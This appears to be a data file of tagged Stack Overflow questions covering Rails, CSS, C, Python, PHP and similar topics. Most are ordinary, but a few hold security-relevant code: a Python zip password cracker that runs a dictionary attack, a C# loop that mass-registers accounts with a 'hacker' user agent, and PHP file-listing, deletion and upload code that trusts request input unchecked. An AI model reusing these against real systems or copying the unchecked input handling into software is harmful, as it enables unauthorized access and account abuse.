node expected  got string  i am trying to build a tree structure  so i created a node model with a self-joining association:   <pre><code>class node &lt; activerecord::base   has_many :child_nodes  :class_name =&gt;  node   :foreign_key =&gt;  parent_id    belongs_to :parent  :class_name =&gt;  node  </code></pre>   here s the schema:   <pre><code>create_table  nodes   :force =&gt; true do |t|   t.integer   key    t.decimal   value        :precision =&gt; 8  :scale =&gt; 2   t.decimal   prob         :precision =&gt; 8  :scale =&gt; 2   t.integer   parent_id    t.datetime  created_at    t.datetime  updated_at  end </code></pre>   everything seems to be working fine when i run tests or when i create a node via the console. however  when i run the app and create a new node via the form on /nodes/new  i get the following error:   <pre><code>activerecord::associationtypemismatch in nodescontroller#create  node(#2162787060) expected  got string(#2151988680) </code></pre>   what seems to be the problem     edit: added form and <code>create</code>   <pre><code>&lt;%= form_for(@node) do |f| %&gt;   &lt;% if @node.errors.any  %&gt;     &lt;div id= error_explanation &gt;       &lt;h2&gt;&lt;%= pluralize(@node.errors.count   error ) %&gt; prohibited this node from being saved:&lt;/h2&gt;        &lt;ul&gt;       &lt;% @node.errors.full_messages.each do |msg| %&gt;         &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;       &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt;    &lt;div class= field &gt;     &lt;%= f.label :key %&gt;&lt;br /&gt;     &lt;%= f.number_field :key %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :parent %&gt;&lt;br /&gt;     &lt;%= f.number_field :parent %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :value %&gt;&lt;br /&gt;     &lt;%= f.number_field :value %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :prob %&gt;&lt;br /&gt;     &lt;%= f.number_field :prob %&gt;   &lt;/div&gt;   &lt;div class= actions &gt;     &lt;%= f.submit %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   create:   <pre><code>def create   @node = node.new(params[:node])    respond_to do |format|     if @node.save       format.html { redirect_to(@node  :notice =&gt;  node was successfully created. ) }       format.xml  { render :xml =&gt; @node  :status =&gt; :created  :location =&gt; @node }     else       format.html { render :action =&gt;  new  }       format.xml  { render :xml =&gt; @node.errors  :status =&gt; :unprocessable_entity }     end   end end </code></pre>,ruby-on-rails
is it possible to reference one css rule within another   for example if i have the following html:   <pre><code>&lt;div class= somediv &gt;&lt;/div&gt; </code></pre>   and this css:   <pre><code>.opacity {     filter:alpha(opacity=60);     -moz-opacity:0.6;     -khtml-opacity: 0.6;     opacity: 0.6;  } .radius {     border-top-left-radius: 15px;     border-top-right-radius: 5px;     -moz-border-radius-topleft: 10px;     -moz-border-radius-topright: 10px;     }  .somediv {     background: #000; height: 50px; width: 200px;  /*** how can i reference the opacity and radius classes here      so this div has those generic rules applied to it as well ***/  } </code></pre>   like how in scripting languages you have generic functions that are used often written at the top of the script and every time you need to use that function you simply call the function instead of repeating all the code every time.,css
icon as the main button in rails form  my problem is quite simple. i just want the icon to be the button. no borders. i ve tried button_to but somehow it produces the icon inside the button. i ve also tried link_to and it looks good but then this is gonna be used to submit a form. it s quite simple but somehow i can t get the behavior that i want.    here are my attempts at this:   <pre><code>= button_tag(type:  submit ) do   i class= fa fa-arrow-right arrow-enter   = f.submit     class:  fa fa-arrow-right arrow-enter  id:  user_sign_form_submit   = link_to     some_path()  class:  fa fa-arrow-right arrow-enter  </code></pre>   thanks in advance!,ruby-on-rails
how to find execution time (if possible in nanoseconds) of the sections in a c code on linux with intel dual core   i have a c code with some functions.i need to find out the execution time of each function  i have tried using gettimeofday and rdtsc but i guess that because its multi core system the output time provided involves the switching time between the processors. i wanted it to be serialized. so if somebody can give me an idea that how should i calulate the time or at least let me know about the syntax of rdstcp.    p.s. please reply as soon as possible thanks :),c
convert kilobytes in degrees  i am trying to program a speedometer! i have a needle image  and i want the needle to rotate according to the current download speed.    i have the following method  but it is not working. when i update my needle with currentdegress  it never goes down  only higher and higher; the needle rotates around the circle...anyone !   <pre><code>- (void) recalculatedegrees:(cgfloat) currentlyloadedbytes {     if(bytes &lt;= 0){         currentdegrees = 0;     }     else if (bytes &gt; completefilesize){         currentdegrees = max_degrees;     }     else {         cgfloat log_tmp =(cgfloat) log10f(currentlyloadedbytes / 1000);         currentdegrees = (log_tmp/5.0f)*290.0f;     }     //code to rotate image to currentdegrees } </code></pre>,objective-c
activity indicator in didselectrowatindexpath  i was trying to animate the <code>uiactivityindicator</code> at <code>didselectrowatindexpath</code> i.e when row is selected it should start animating until other view is not loaded. i was trying code but it does nothing  help!!!   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     [self. indicator stopanimating];         if(bdvcontroller == nil)         bdvcontroller = [[bookdetailviewcontroller alloc] initwithnibname:@ bookdetailview  bundle:[nsbundle mainbundle]];          if(indexpath.section == 0)     {                book *abook = [appdelegate.books objectatindex:indexpath.row];         bdvcontroller.abook = abook;     }     else if(indexpath.section == 1)     {         book *abook = [appdelegate.books objectatindex:indexpath.row+5*indexpath.section];     bdvcontroller.abook = abook;     }     [self.navigationcontroller pushviewcontroller:bdvcontroller animated:yes];  }   - (nsindexpath *)tableview:(uitableview *)tableview willselectrowatindexpath:(nsindexpath *)indexpath {     [self.indicator startanimating];     return indexpath;  } </code></pre>,iphone
why is my object out of scope in viewwilldisappear if i change the object s value   so i have this class:   <pre><code>@interface amountviewcontroller : uitableviewcontroller &lt;uitableviewdelegate  uitextfielddelegate&gt;{  nsmanagedobjectcontext *managedobjectcontext; nsmanagedobject *selectedobject;  nsdecimalnumber *amount; nsdecimalnumber *accountbalance;  nsinteger textfieldrow;  } - (void)textfielddone:(id)sender; - (nsdecimalnumber *)absolutevalue:(nsdecimalnumber *)number;  @property (nonatomic  retain) nsmanagedobjectcontext *managedobjectcontext; @property (nonatomic  retain) nsmanagedobject *selectedobject; @property (nonatomic  retain) nsdecimalnumber *amount; @property (nonatomic  retain) nsdecimalnumber *accountbalance; @property nsinteger textfieldrow;  @end </code></pre>   now in my implementation   <pre><code>- (void)viewwilldisappear:(bool)animated { nslog(@ select object amount value: %@   [selectedobject valueforkey:@ amount ]); if (amount != nil) //amount is out of scope  has something to do with retain  but accountbalance is in scope.     {     nslog(@ textfield amount: %@   amount);     //todo: save changes to amount     //[selectedobject setvalue:amount forkey:@ amount ];      nserror *error = nil;     if (managedobjectcontext != nil) {         if ([managedobjectcontext haschanges] &amp;&amp; ![managedobjectcontext save:&amp;error]) {             nslog(@ unresolved error %@  %@   error  [error userinfo]);             abort();         }      }      nslog(@ select object amount value (after save): %@   [selectedobject valueforkey:@ amount ]); } [super viewwilldisappear:animated]; } </code></pre>   for some reason  the amount object is  out of scope  only if i modify its value before reaching the viewwilldisappear method. so for instance  i load this view and press back  everything is good. but if i change the amount value then press back  the debugger shows that the amount is out of scope. my thinking here is that the object is getting released prior to reaching the viewwilldisappear method  but i m not sure what exactly to do. i tried other variations of (atomic/nonatomoic  retain/assign/copy) but i m not sure i really understand all that even after reading about them. :/     also  the selectedobject  accountbalance and other objects are still in scope even though they have the same property attributes. any help is appreciated. thanks. let me know if i can provide more info for you.,iphone
different types of storage specifiers in c   what are different types of storage specifiers in c language,c
how to add variables together into a new variable where you control the separation  let s say i ve declared three variables which are a date  how can i combine them into a new variable where i can print them in the correct 1/2/03 format by simply printing the new variable name.    <pre><code>month = 1 day = 2 year = 03  date = month  day  year  &lt;&lt;&lt;&lt;&lt; what would this code have to be    print(date) </code></pre>   i know i could set the sep= /  argument in the print statement if i call all three variables individually  but this means i can t add addition text into the print statement without it also being separated by a /. therefore i need a single variable i can call.,python
how do i return the switch statement inside a do while loop using an instance method  <pre><code>public void select() {    do {   switch(info)    {      case 1 :      case a :        return system.out.println( hello );      case 2 :      case b :        return selection =  b ;      default:        return system.out.println( close );    }  }while(info !=  b ); } </code></pre>   so what would be the proper syntax and is this the even possible to do. new to java,java
php formatting numbers  how can i format numbers with php to be double digits (including leading zeros),php
how to write simple web service using json object as input in java  i am new to web services  i want to pass json object as input parameter to post method and return json object from that method.    input-   <pre><code>{       recognizeinput :      {           signaturestring :        } } </code></pre>   output-   <pre><code>{      recognizeoutput : {          status :              message :              nummatches :  2            ivmatchedproducts : {              ivmatchedproduct : [                 {                      name :  prod1                        description :  proddecs                        thumbnailimg :                          url :                          rating :                          price :                    }                  {                      name :  prod2                        description :  proddecs                        thumbnailimg :                          url :                          rating :                          price :                    }             ]         }     } </code></pre>,java
how to get installation date of an application in c#  i installed my application on windows machine. in my c# program  i need to get installed date of this application. is there a way to get this from registry or some other location. please let me know if you have any ideas.,c#
how to customize a jquery table collapse script  i managed to get a table to collapse using this script. i am trying to figure out how to get only the first row to remain expanded while the remaining of the row stay collapsed.     at the moment my script has everything collapsed. i can t figure out how to specify having the first row expanded and the rest collapsed.   <pre><code>&lt;link rel= stylesheet  href= //code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css &gt; &lt;script src= //code.jquery.com/jquery-1.9.1.js &gt;&lt;/script&gt; &lt;script src= //code.jquery.com/ui/1.10.4/jquery-ui.js &gt;&lt;/script&gt; &lt;script&gt; $( .container tr:not(.header) ).slidetoggle(0  function(){});  $( .header ).click(function(){    $(this).find( span ).text(function(_  value){return value== -   + : - });     $(this).nextuntil( tr.header ).find( tr ).slidetoggle(0);     $(this).nextuntil( tr.header ).slidetoggle(10  function(){}); }); &lt;/script&gt; </code></pre>,jquery
ios application exiting voluntarily when embedded with custom framework  i have embedded a custom framework in my app. when running the app  i get the error:    <blockquote>    application exited voluntarily          aug 25 09:57:22 iphone springboard[54] : application  uikitapplication:com.mobileiron.enterprise.phoneatwork.testframework[0xe161]  exited voluntarily.   aug 25 09:57:22 iphone assertiond[64] : could not set priority of  to 2  priority: no such process   aug 25 09:57:22 iphone assertiond[64] : could not set priority of  to 4096  priority: no such process   aug 25 09:57:23 iphone wifid[37] : wifi:[462214643.2  </blockquote>   any help is appreciated.,ios
wordpress bootstrap navbar css  i have spent many hours trying to extend the color in the navbar! would any one know the css to add   it s a bought theme but the support is shocking :(    here is the url <a href= http://aussteve.com/  rel= nofollow noreferrer >homepage</a>    and what i am trying to do extend background of navbar    <a href= https://i.stack.imgur.com/aqvgq.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/aqvgq.jpg  alt= enter image description here ></a>,css
enumerating the bound arguments using bind  in javascript  can i enumerate the bound arguments for a function    <pre><code>function foo(a  b) {}  foo = foo.bind(null   1 ); </code></pre>   how can i tell that a has been bound to  1,javascript
aligning in a grid  i m developing an android calendar app so i need to align the days in a grid-like style. i m using the api level 8 so i need to align them by margins. but when switching to bigger screens the numbers get to the left of screen and do not cover the whole screen.(i know that is because i use dp as a unit for my margin-left). is there something like css % (percent) in android layouts      <img src= https://i.stack.imgur.com/zua3s.jpg  alt= this is what i want >,android
when i include a class such as <vector> and only use 1 or 2 of its member functions  what does the compiler do   let s say i have a program like the following:    <pre><code>#include &lt;vector&gt; #include &lt;iostream&gt;  int main() {    std::vector&lt;int&gt; v;     v.push_back(69);    std::cout &lt;&lt; *v.begin();    return 0; } </code></pre>   i ve only used 2 functions from the <code>vector</code> class  meaning there is a lot of things unused from that gigantic class. does my compiler somehow create a <code>vector</code> object that has been stripped of a ton of its functions    or does my compiler think   <em>oh  all he s doing is printing an integer  so i don t even need to import the <code>vector</code> class</em>.  i want to understand what happens on a machine level when i write the above code.,c++
rails/ruby: filtering <pre><code> query = micropost.order( created_at desc )   unless params[:tag_id].blank  or params[:tag_id] ==  select a tag      tags = tag.all     params[:tag_id].each do |index|       query = tags[integer(index) - 1].microposts.order( created_at desc ) &amp; query     end   end </code></pre>   this is the code i have. basically tags have microposts and when i specify an array of tags from params[:tag_id] (i use a multiple select_tag)  i want the intersection of all those microposts specified by the tags.    this code works when the array has only one tag but doesnt seem to work with more than 1. wheres the bug,ruby-on-rails
how do i make my upload work if my function is from another php file  im trying to make my upload work without having the function at the same php but calls it from another php    and it should be like... after submitting an order with an uploaded image the image file will be sent to my ftp/ photos folder i created but still empty     what seems to be missing :o    shop.php   <pre><code>&lt;!--upload part --&gt;     &lt;form action= shop.php  method= post  enctype= multipart/form-data &gt; select image: &lt;input type= file  name= image &gt; &lt;/form&gt; </code></pre>   then my function   <pre><code>    if($activity ==  upload ){       $image_name = $_files[ image ][ name ];      $image_type = $_files[ image ][ type ];      $image_size = $_files[ image ][ size ];      $image_tmp_name = $_files[ image ][ tmp_name ];      if($image_name==  ){         echo  &lt;script&gt;alert( please select an image )&lt;/script&gt; ;         exit();     }     else{         move_uploaded_file($image_tmp_name  photos/$image_name );         echo  image uploaded successfully ;         echo  &lt;img src= photos/$image_name &gt; ;       } } </code></pre>   oh and  i got this from a tutorial video and it works when code is at the same php  but applying to my current project  well... it doesn t,php
serial port no answer  i have a phg admitto100 rfid reader to read legic and i try to send some cmd´s to this one but it doesn´t answer.    i follow this example <a href= https://msdn.microsoft.com/de-de/library/system.io.ports.serialport(v=vs.110).aspx  rel= nofollow noreferrer >serial port</a>    what have i forgotten  do i have something to install before using a com-port     the cmd is not right because of the lrc byte but shouldn´t the reader say  no  that was wrong       here my code:   <pre><code>        var serialport = new serialport         {             portname =  com1               baudrate = 9600              databits = 8              parity = parity.none              stopbits = stopbits.one              handshake = handshake.none               readtimeout = 500              writetimeout = 500          };          serialport.open();          serialport.datareceived += new serialdatareceivedeventhandler((s  e) =&gt;          {             var message = ((serialport)s).readexisting();             console.writeline(message);         });          serialport.errorreceived += new serialerrorreceivedeventhandler((s  e) =&gt;         {             console.writeline(e.eventtype);         });          var buffer = new byte[] { 0x02  0x36  0x00 };         serialport.write(buffer  0  buffer.length); </code></pre>,c#
in the following program add a statement in the function fun() such that address of a gets stored in j  <pre><code>#include&lt;stdio.h&gt; int main(){     int *j;     void fun(int**);     fun(&amp;j);     return 0; }  void fun(int **k){     int a=10;     /* add a statement here */ } </code></pre>   in the following program add a statement in the function fun() such that address of a gets stored in j  can someone please explain this whole program. i am not able to get this meaning of **.,c
mysql loop variable inside query  i have a list of ids that i want to loop through the query below. so i want the query to run for each id and have id_from_list pull the next id out of list_of_ids.     list:   <pre><code>list_of_ids = (379  517  519  797  800  896  897  900  902  903  904  905  906  907  919) </code></pre>   query:   <pre><code>    select w.record_count  w.distinct_provider_count from   (select  c as record_count  dc as distinct_provider_count from (select * from centene_cic_decodes where standard_use in (    p   pl )) r left join ( select  deceased_status as t  count(*) as c   count(distinct group_key) as dc    provider_status  as cat from t_conditioncodes_0086252_cen_idvf2  where net_id_ef = id_from_list group by 1  union all  select  name_status  as t  count(*) as c   count(distinct group_key) as dc    name_status  as cat from t_conditioncodes_0086252_cen_idvf2   where net_id_ef = id_from_list group by 1 ) z on (if((z.t is null or z.t =   )   blank  z.t)) = r.status_codes and z.cat = r.category  order by r.category_rank  r.rank)w ; </code></pre>   the goal is to create a separate output for each id. so one report for 379 then a separate one for 517 etc...     (this is just a snippet of the full query and list of ids for simplicity.),mysql
how to download images in iphoneapp from facebook and picassa  any one tell me about image downloading functionality in iphone from facebook and picassa.i am making application in it i want to make functionality for download selected images from picassa and facebook via my application.so what i have to do     thank you,iphone
php delete file script  i have a basic php script that displays the file contents of a directory. here is the script:   <pre><code>&lt; php  $dept =  depttemplate ;  if(isset($_request[ dir ])) {       $current_dir = $_request[ dir ];   } else {     $current_dir =  docs ; }  if ($handle = opendir($current_dir)) {        while (false !== ($file_or_dir = readdir($handle))) {           if(in_array($file_or_dir  array( .    .. ))) continue;           $path = $current_dir. / .$file_or_dir;           if(is_file($path)) {               echo  `&lt;a href= /implementation/ .$dept. / .$path.  &gt; .$file_or_dir. &lt;/a&gt; - [delete button/link]&lt;br/&gt;` ;           } else {               echo  `&lt;a href= testfolderiframe.php dir= .$path.  &gt;` .$file_or_dir. \n`&lt;/a&gt;` - [delete button/link]`&lt;br/&gt;` ;           }     }     closedir($handle);   }  &gt;  </code></pre>   i am trying to create a delete link/button that displays next to each file and when clicked  the corresponding file will be deleted. would you know how to do this,php
javascript. why need to put return keyword in line 2 ... 12 is matic number and it will be divided by 4  in line 2  why need to put return keyword there  ... 12 is matic number and it will be divided by 4 ...    <pre><code>var quarter =function(number) {     return number/4};  //why need to put return keyword here  ... 12 is matic number and it will be divided by 4 ...  if (quarter(12) % 3 === 0 ) {   console.log( the statement is true ); } else {   console.log( the statement is false ); } </code></pre>,javascript
how to know when one moving view (overlaps) is on the top of the over  (not sure about the title. please make it right)    hi. i m trying to create a small game  where player can move objects inside <code>ralativelayout</code>. what i want is to check whether my moving object is inside <code>framelayout</code> or outside of it. for example i want to change the text of this object when it is inside <code>framelayout</code>.    so i create objects inside <code>for</code> loop this way:   <pre><code>random random = new random(); for (int i = 0; i &lt; 3; i++) {  //any number  not just 3             textview textview = new textview(getactivity());             textview.setx(random.nextint(size.x - 200));             textview.sety(random.nextint(size.y - 200)); //scattered all over the screen             textview.settext(i +   );             textview.setbackgroundcolor(getresources().getcolor(r.color.colorprimary));             textview.settextsize(50);             relativelayout.layoutparams lp = new relativelayout.layoutparams(                     relativelayout.layoutparams.wrap_content                      relativelayout.layoutparams.wrap_content);             textview.setlayoutparams(lp);             textview.setontouchlistener(touchlistener);             framefor.addview(textview);         } </code></pre>   there is also a framelayout where eventually all my objects should be:   <pre><code>relativelayout.layoutparams framelp = new relativelayout.layoutparams(300  300);         framelp.addrule(relativelayout.center_in_parent  relativelayout.true);         frameforletters.setlayoutparams(framelp); </code></pre>   as you can see  i also added a <code>ontouchlistener</code> to make objects movable:   <pre><code>view.ontouchlistener touchlistener = new view.ontouchlistener() {         float dx  dy;          @override         public boolean ontouch(view view  motionevent event) {             switch (event.getaction()) {                  case motionevent.action_down:                      dx = view.getx() - event.getrawx();                     dy = view.gety() - event.getrawy();                     break;                  case motionevent.action_move:                      view.animate()                             .x(event.getrawx() + dx)                             .y(event.getrawy() + dy)                             .setduration(0)                             .start();                     break;                 default:                     return false;             }             return true;         }     }; </code></pre>   in this pic you can see that <strong>one</strong> and <strong>two</strong> are inside <code>framelayout</code> and zero is outside. <a href= https://i.stack.imgur.com/qaas8.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qaas8.png  alt= enter image description here ></a>    i know it all can be done with huge amount of geometry and calculation the size of each object and framelayout itself. maybe there is another way of doing this  maybe there is a library or framework which can make my task much easier,android
detecting white space characters  \t  \n  etc  i am working through c++ primer 5th edition. the exercise in chapter 5 states the follow:   <blockquote>    exercise 5.11: write a program that counts the number of blank spaces  tabs  and newlines read.  </blockquote>   i attempted to do as exercise 5.11 did with the below code. however the code fails. can anyone provide some examples of how i would correct the code so that when the input is read that the counter <code>unsigned int cnt = 0;</code> will be iterated correctly      <pre><code>#include  stdafx.h  #include &lt;iostream&gt;  int main(){     unsigned int cnt = 0;     char c1;     while (std::cin &gt;&gt; c1)         if (c1 ==  \t  || c1 ==  \n  || c1 ==    )             ++cnt;     std::cout &lt;&lt;  the number of spaces tabs  newlines are:   &lt;&lt; cnt &lt;&lt; std::endl;      system( pause );     return 0; } </code></pre>,c++
python 3 zip password cracker  i am working on a simple zip file password cracker for a school project  and i need it to display the password once it cracks it from the dictionary word list. whenever i run it  it only extracts the file  and doesn t print anything. how can i fix this to also show the password  here is my code.   <pre><code>import optparse import zipfile from threading import thread  def extract_zip(zfile  password):         try:                 password = bytes(password.encode( utf-8 ))                 zfile.extractall(pwd=password)                 print ( [+] password found:   + password +  \n )         except:                 pass  def main():         parser = optparse.optionparser( useage &amp;prog  +\                          -f &lt;zipfile&gt; -d &lt;dictionary&gt; )          parser.add_option( -f   dest= zname   type= string  \                         help= specify zip file )         parser.add_option( -d   dest= dname   type= string  \                         help= specify dictionary file )         (options  arg) = parser.parse_args()         if (options.zname == none) | (options.dname == none):                 print (parser.usage)                 exit(0)         else:                 zname = options.zname                 dname = options.dname          zfile = zipfile.zipfile(zname)         passfile = open(dname)          for line in passfile.readlines():             password = line.strip( \n )             t = thread(target=extract_zip  args=(zfile  password))             t.start()  if __name__ ==  __main__ :         main() </code></pre>,python
custom action in rails 3  i m trying to make a simple link that will toggle my  status  attribute in my model from  pending  to  active .  for example  when i first create a user  i set the status to  pending .  then when i show the list of users  i add a button that should change that user s status to  active .  i tried this via a custom action (is this a good approach ) but i m having trouble with the auto-generated named route.      in my user index.html.haml: <code>button_to  manually activate   activate_user_path</code>    in routes.rb:   <pre><code>resources :users do   get :activate  :on =&gt; :member </code></pre>   in users_controller.rb:<br>   <pre><code> def activate     @user = user.find(params[:id])     @user.update_attribute(:status   active )     redirect_to @user   end </code></pre>   this seems to work when i go to say  /users/1/activate  as the status will update.  however  the /users page doesn t show and gives me error:    <pre><code>actioncontroller::routingerror in users#index no route matches {:action=&gt; activate   :controller=&gt; users } </code></pre>   ie  it is having a problem with the activate_user_path i specified in my view.  (however if i use another named-routes-style path that i haven t specified in my routes.rb to test it out  i get   <pre><code>nameerror in users#index undefined local variable or method `blahblah_user_url  for #&lt;#&lt;class:0x00000102bd5d50&gt;:0x00000102bb9588&gt; </code></pre>   so it seems that it knows it s in the routes.rb but something else is wrong  i m really new to rails and would appreciate the help! thanks!,ruby-on-rails
how can i display some text with spaces in html  with double space characters  i need to display the following as html text (verbatim):   <pre><code>t h i s  i s  a  t e x t </code></pre>   as you can see:   <ul> <li>all characters have a space in between</li> <li>the space characters have been <strong>doubled</strong></li> <li>i want to have that inside an <code>&lt;a&gt;</code> tag</li> </ul>   what i have tried is:   <pre><code>&lt;a href= # &gt;t h i s  i s  a  t e x t&lt;/a&gt; </code></pre>   but html compresses several space characters into one.     how can i force the double spaces,html
book to learn winforms controls  i m new to .net and winforms. i have a lot of experience with c++ but i would like to learn more about the individual controls available with .net.    what s the best book that would show the use of the various controls that can be used with winforms (like progress bar  status bar  etc)    thanks to you all in advance.,.net
jquery div id is not taking on dynamic div id creation  i am creating a set of dynamic divs    let div id is  div1 div2 div3 etc    in my function for getting div id am concatinating    <pre><code>var divid=  div +1 var divid=  div +2  </code></pre>   etc.    if i call jquery slide down     <pre><code>$( #div1 ).slidedown( slow );  </code></pre>   its working  but  if i use     <pre><code>$( #divid ).slidedown( slow );  </code></pre>   its not working . why  divid is having same value.. what i am missing,jquery
getting data from one controller to another with angularjs  i have got two controllers and want them to send data from the first one to the second one without creating a factory.   <pre><code>    module.controller( updatescontroller   function ($scope) {     var update = {};     update.items = [{         title:  company goes high           date:  24-11-2015           excerpt:  labore et dolore magna aliqua           desc:  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.           picture:  images/01.jpg       }];     $scope.items = update.items;     $scope.showupdate = function (index) {             var selecteditem = update.items[index];             update.selecteditem = selecteditem;              $scope.navi.pushpage( update.html   {                 title: selecteditem.title                  date: selecteditem.date                  excerpt: selecteditem.excerpt                  desc: selecteditem.desc                  picture: selecteditem.picture             });         }; });  module.controller( updatecontroller   function ($scope  items) {     $scope.item = items; }); </code></pre>   but it seems not working. the error is: <strong>uncaught (in promise) error: [$injector:unpr]</strong>    can please anyone help,angularjs
how to parse xml nodes using javascript  i have a xml in the following way:   <pre><code>&lt;roster&gt; &lt;player code= auq  name= avdalovic  vule  position= guard /&gt; &lt;player code= aqx  name= schultze  sven  position= forward /&gt; &lt;/roster&gt; </code></pre>   how do i parse the attribute values and push in to an array.,javascript
javascript brackets  i have a piece of code that looks like this;   <pre><code>var x(10); var i = 3; x(i) = 7 document.write( the stored value is   + x(3) +  </code></pre>   this is a piece of code in the book i am reading from  but they don t explain what the brackets mean  does x(10) mean that x is 10  that wouldn t make sense. same with x(i)  what does that even mean  i don t understand what output i would get from this! i want to understand it before i move on to the next section so i m not confused. i m thinking the output would be 7  but i still would like to understand the meaning behind the brackets.,javascript
how to pack one variable using struct.pack   i m sending integers to server using socket in python. i m packing it before sending:   <pre><code>values = (0  2) packer = struct.struct( i i ) packed_data = packer.pack(*values) </code></pre>   what if i want to send only one integer  struct.pack need at least two variables. i m a python newbie.,python
css responsive design. 2 columns fixed width. middle div dynamic width. at certain window width one column is at new line  here example <a href= http://jsfiddle.net/oop4kdn6/33/  rel= nofollow >http://jsfiddle.net/oop4kdn6/33/</a>   <pre><code>&lt;div style= float:left;  id= leftsidebar1  &gt;left sidebar&lt;/div&gt; &lt;div style= float:left;  id= maincontent1  &gt;main content&lt;/div&gt;     &lt;div style= float:left;  id= rightsidebar1 &gt;right sidebar&lt;/div&gt; </code></pre>   and css which i testing and where see problem   <pre><code>@media screen and (min-width: 641px) and (max-width: 900px) { #maincontent1{ min-width: 241px; max-width: 500px } #leftsidebar1  #rightsidebar1{width:200px;}     } </code></pre>   so. if window width is at least 641px and not more than 900px  then width of both sidebars is 200px. and width of middle column (div <code>#maincontent1</code>) i expect actual window width  minus 400px (200 x 2).    problem is if window width is from 641px until 658px  then <code>#rightsidebar1</code> is at new line. if more than 658px  then all divs in one line.    as i understand to avoid the problem  i must set less <code>min-width</code> for #maincontent1. but do not understand why. for example if window width 650px. it must be enough to show all columns in one line. because 200+200+241=641.    why the <code>#rightsidebar1</code> is at new line,css
webrequest cannot get the request stream  i am trying to make a httpwebrequest which registers accounts for me. i m using a loop for it to register new accounts with only 1 thing changing  the username. but for some reason it only works twice  the third time it will reach a certain line calling the function  webrequest.getrequeststream();  and it will never finish that  it will not throw an error or anything. this is my first httpwebrequest  and it is very messy. for people wondering  value is a string with the registration  values  in there. the first 2 times do actually register the accounts  so it does work.   <pre><code>    public static httpwebrequest get()     {         httpwebrequest webrequest = webrequest.create( http://87.255.55.218/register ) as httpwebrequest;         webrequest.method =  post ;         webrequest.host =  87.255.55.218 ;         webrequest.useragent =  hacker ;         webrequest.accept =  text/html application/xhtml+xml application/xml;q=0.9 */*;q=0.8 ;         webrequest.referer =  http://yougothacked.com ;         webrequest.contenttype =  application/x-www-form-urlencoded ;          webrequest.headers.add(httprequestheader.keepalive   115 );         return webrequest;     }      public static void register(string username)     {         string value = value.replace( replace   username);         webrequest webrequest = get();         webrequest.contentlength = value.length;         thread.sleep(50);         stream reqstream = webrequest.getrequeststream();          reqstream.write(encoding.ascii.getbytes(value)  0  value.length);         thread.sleep(50);         reqstream.flush();         reqstream.close();         reqstream.dispose();     } </code></pre>   what could be wrong,c#
why are these two same functions different   <strong>ide</strong>    visual studio 2017    <strong>main</strong>   <pre><code>int cnt = 0; int main(int argc  char** argv) {     cnt = func(4);     printf( %d   cnt); } </code></pre>   <strong>function a</strong>   <pre><code>int func(int num) {     if (num &lt; 2)     {         cnt += num;         return cnt;     }      func(num / 2);      cnt += num % 2; &lt;&lt;&lt; } </code></pre>   <strong>result</strong>   <blockquote>    1  </blockquote>   <strong>function b</strong>   <pre><code>int func(int num) {     if (num &lt; 2)     {         cnt += num;         return cnt;     }      func(num / 2);      if (num % 2) cnt++; &lt;&lt;&lt; } </code></pre>   <strong>result</strong>   <blockquote>    0  </blockquote>   <strong>question</strong>    i think the result of two functions above should be the exact same  but it shows different results.   <blockquote>    where does this difference come from   </blockquote>,c
left join with a select dependent on rows value  i have a table  tablea   <pre><code>foo  bar  matcher a    b    456 c    d    123 e    f    789 … </code></pre>   and i have another very large table  tableb   <pre><code>count matcher 1     123 2     456 2     123 ... </code></pre>   from tableb i want to find details for a specific matcher   <pre><code>  count   matcher   1       123   2       123 </code></pre>   but i just want to use the row with the maximum count   <pre><code>  count   matcher   2       123 </code></pre>   then i wish to left join tableb onto tablea   <pre><code>  foo   bar   matcher   count   a     b     456       10   c     d     123       2   e     f     789       5   ... </code></pre>   how do i do this,sql
help me  please with program on c++  i work in microsoft visual c++ 6.0 and i don t understand why next mistakes appear   <pre><code>d:\program files\microsoft visual studio\vc98\include\iostream(16) : error c2653:  ios_base  : is not a class or namespace name d:\program files\microsoft visual studio\vc98\include\iostream(16) : error c2144: syntax error : missing  ;  before type  int  d:\program files\microsoft visual studio\vc98\include\iostream(16) : error c2501:  _std_begin  : missing storage-class or type specifiers d:\program files\microsoft visual studio\vc98\include\iostream(16) : fatal error c1004: unexpected end of file found error executing cl.exe. </code></pre>   source:   <pre><code>#include stdio.h #include conio.h #include iostream.h #include stdlib.h  #include string  using std::string; #define max_size 32000  class pets { public:     pets(const string &amp; const string &amp; const string &amp; const string &amp; int=0);      void setage (const string &amp;);      string getage() const;      void setstatus (const string &amp;);      string getstatus() const;      void setcolour (const string &amp;);      string getcolour() const;       void setkind (const string &amp;);      string getkind() const;      void setcost (int);      int getcost() const;       virtual void print() const;      virtual ~pets()=0;  private:     string age;     string status;     string colour;     string kind;     int cost;  };   pets::pets(const string &amp;vozr const string &amp;state  const string &amp;cvet             const string &amp; vid  int price)            :age(vozr) status(state) colour(cvet) kind(vid) {     setcost(price); }   void pets::setage(const string &amp;vozr) {     age=vozr; }   string pets::getage() const {     return age; }   void pets::setstatus(const string &amp;state) {     status=state; }   string pets::getstatus() const {     return status; }   void pets::setcolour(const string &amp;cvet) {     colour=cvet; }  string pets::getcolour() const {     return colour; }  void pets::setkind(const string &amp;vid) {     kind=vid; }  string pets::getkind() const {     return kind; }  void pets::setcost(int price) {     cost=(price&gt;0 &amp;&amp; price&lt;max_size)  price : 0; }  int pets::getcost() const {     return cost; }  void pets::print() const {     cout&lt;&lt;getage()&lt;&lt;   &lt;&lt;getstatus()&lt;&lt;   &lt;&lt;getcolour()&lt;&lt;   &lt;&lt;getkind()&lt;&lt;   &lt;&lt;getcost()&lt;&lt;endl;  }  class cats:public pets  {   };  class dogs:public pets  //êëàññ ñîáàêè {  };   void welcome()  {     cout&lt;&lt; =============================================================================== &lt;&lt;endl;     cout&lt;&lt; ||                                                                           || &lt;&lt;endl;     cout&lt;&lt; ||                       *******pet kennel*******                            || 